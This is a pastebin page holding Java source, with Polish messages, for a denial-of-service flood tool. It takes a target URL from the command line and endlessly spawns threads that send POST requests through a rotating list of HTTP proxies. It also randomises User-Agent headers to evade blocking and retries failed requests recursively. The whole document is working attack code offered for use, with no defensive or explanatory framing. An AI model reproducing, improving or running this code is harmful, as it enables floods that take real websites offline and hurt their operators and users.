Facebook
From Gentle Cheetah, 5 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 239
  1. package pl.LimePolish.gowno.xd;
  2.  
  3. import java.io.BufferedReader;
  4. import java.io.DataOutputStream;
  5. import java.io.File;
  6. import java.io.IOException;
  7. import java.io.InputStreamReader;
  8. import java.net.HttpURLConnection;
  9. import java.net.InetSocketAddress;
  10. import java.net.MalformedURLException;
  11. import java.net.Proxy;
  12. import java.net.URL;
  13. import java.net.URLEncoder;
  14. import java.nio.charset.Charset;
  15. import java.util.ArrayList;
  16. import java.util.List;
  17. import java.util.Random;
  18. import java.util.Scanner;
  19.  
  20. public class Main {
  21.         public static void main(String[] args) {
  22.                 String url2 = "";
  23.                 try {
  24.                         url2 = String.valueOf(args[0]);
  25.                 } catch (Exception e) {
  26.                         System.out.println("Wprowadz prawidlowy adres do strony!");
  27.                         System.out.println("ex. java -jar <plik>.jar https://ls-stories.pl/");
  28.                         System.exit(0);
  29.                         return;
  30.                 }
  31.                 final String url = url2;
  32.                 System.out.println("### uruchamianie ###");
  33.                 final long time = System.currentTimeMillis();
  34.                 loadProxiesFromFile();
  35.                 final long time1 = System.currentTimeMillis() - time;
  36.                 System.out.println("### zaladowano proxy w czasie: "+time1+"ms!");
  37.                 while(true) {
  38.                 new Thread(new Runnable() {
  39.                         @Override
  40.                         public void run() {
  41.                                 try {
  42.                                         attack(1, url);
  43.                                         throw new ThreadDeath();
  44.                                 } catch (IOException e) {}
  45.                         }
  46.                        
  47.                 }).start();
  48.                 }
  49.         }
  50.        
  51.         private static List<Proxy> proxies = new ArrayList<Proxy>();
  52.         private static int proxyIterator;
  53.         public static void loadProxiesFromFile() {
  54.         try {
  55.             final File f = new File("huj/proxy.txt");
  56.             final Scanner s = new Scanner(f);
  57.             while (s.hasNext()) {
  58.                 final String[] split = s.next().split(":", 2);
  59.                 proxies.add(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(split[0], Integer.parseInt(split[1]))));
  60.             }
  61.             s.close();
  62.         }
  63.         catch (Exception e) { }
  64.         System.out.println("### " + proxies.size() + " adresow zaladowano! ###");
  65.     }
  66.        
  67.         public static List<Proxy> getProxies() {
  68.                 return proxies;
  69.         }
  70.        
  71.         public static Proxy getRandomProxy() {
  72.                 if (proxyIterator > proxies.size() - 1) {
  73.                         proxyIterator = 0;
  74.                 }
  75.                 proxyIterator += 1;
  76.  
  77.                 return proxies.get(proxyIterator);
  78.         }
  79.        
  80.          public static void attack(int id, String url) throws IOException {
  81.                  new Thread(new Runnable() {
  82.                         @Override
  83.                         public void run() {
  84.                                 HttpURLConnection con = null;
  85.                                 List<String> list = new ArrayList<String>();
  86.                                 list.add("Yandex/1.01.001 (compatible; Win16; I)");
  87.                                 list.add("Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36");
  88.                                 list.add("Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36");
  89.                                 list.add("Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16");
  90.                                 list.add("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4");
  91.                                 list.add("Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; F5121 Build/34.0.A.1.247) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.5.1.944 Mobile Safari/537.36");
  92.                                 list.add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1");
  93.                                 list.add("Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0");
  94.                                 try {
  95.                     URL myurl = null;
  96.                     try {
  97.                         myurl = new URL(url);
  98.                     } catch (MalformedURLException e2) {
  99.                         e2.printStackTrace();
  100.                     }
  101.                     try {
  102.                         (con = (HttpURLConnection)myurl.openConnection(getRandomProxy())).setDoOutput(true);
  103.                         String cookiee=(URLEncoder.encode("b123456786c2", "UTF-8"));
  104.                         con.setDoInput(true);
  105.                         con.setAllowUserInteraction(true);
  106.                         con.setInstanceFollowRedirects(true);
  107.                         System.setProperty("http.keepAlive", "true");
  108.                         System.setProperty("java.net.useSystemProxies", "true");
  109.                         System.setProperty("http.maxConnections", "20");
  110.                         System.setProperty("http.maxRedirects", "50");
  111.                         HttpURLConnection.setFollowRedirects(true);
  112.                         con.setRequestMethod("POST");
  113.                         con.setRequestProperty("charset", "utf-8");
  114.                         con.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
  115.                         con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");
  116.                                 String random = list.get(new Random().nextInt(list.size()));
  117.                                 con.setRequestProperty("User-Agent", random);
  118.                                                 con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  119.                                                 con.setRequestProperty("Content-Length", URLEncoder.encode("a123456786+1", "UTF-8"));
  120.                                             //System.out.println(this + " " + con.getResponseCode());
  121.                                                 con.getInputStream();
  122.                                                 con.setRequestProperty("Set-Cookie", cookiee);
  123.                                                         Throwable t = null;
  124.                                         try {
  125.                                             final DataOutputStream wr = new DataOutputStream(con.getOutputStream());
  126.                                             try {
  127.                                             }
  128.                                             finally {
  129.                                                 if (wr != null) {
  130.                                                     wr.close();
  131.                                                 }
  132.                                             }
  133.                                         }
  134.                                         finally {
  135.                                             if (t == null) {
  136.                                                 final Throwable t2 = null;
  137.                                                 t = t2;
  138.                                             }
  139.                                             else {
  140.                                                 final Throwable t2 = null;
  141.                                                 if (t != t2) {
  142.                                                     t.addSuppressed(t2);
  143.                                                 }
  144.                                             }
  145.                                         }
  146.                                         final Throwable t3 = null;
  147.                                         try {
  148.                                             final BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
  149.                                             try {
  150.                                                 final StringBuilder content = new StringBuilder();
  151.                                                 String line;
  152.                                                 while ((line = in.readLine()) != null) {
  153.                                                     content.append(line);
  154.                                                     content.append(System.lineSeparator());
  155.                                                 }
  156.                                             }
  157.                                             finally {
  158.                                                 if (in != null) {
  159.                                                     in.close();
  160.                                                 }
  161.                                             }
  162.                                         }
  163.                                         finally {
  164.                                             if (t3 != null) {
  165.                                                 final Throwable t4 = null;
  166.                                                 if (t3 != t4) {
  167.                                                     t3.addSuppressed(t4);
  168.                                                 }
  169.                                             }
  170.                                         }
  171.                                     }
  172.                                     catch (Exception e) {
  173.                                         try {
  174.                                                                 attack(id, url);
  175.                                                         } catch (IOException e1) {
  176.                                                                 throw new ThreadDeath();
  177.                                                         }
  178.                                         throw new ThreadDeath();
  179.                                     }
  180.                                 }
  181.                                 finally {
  182.                                         if(con != null) {
  183.                                                 con.disconnect();
  184.                                         }
  185.                                 }
  186.                                 if(con != null) {
  187.                                         con.disconnect();
  188.                                 }
  189.                                         throw new ThreadDeath();
  190.                         }
  191.             }).start();
  192.          }
  193.        
  194. }
  195.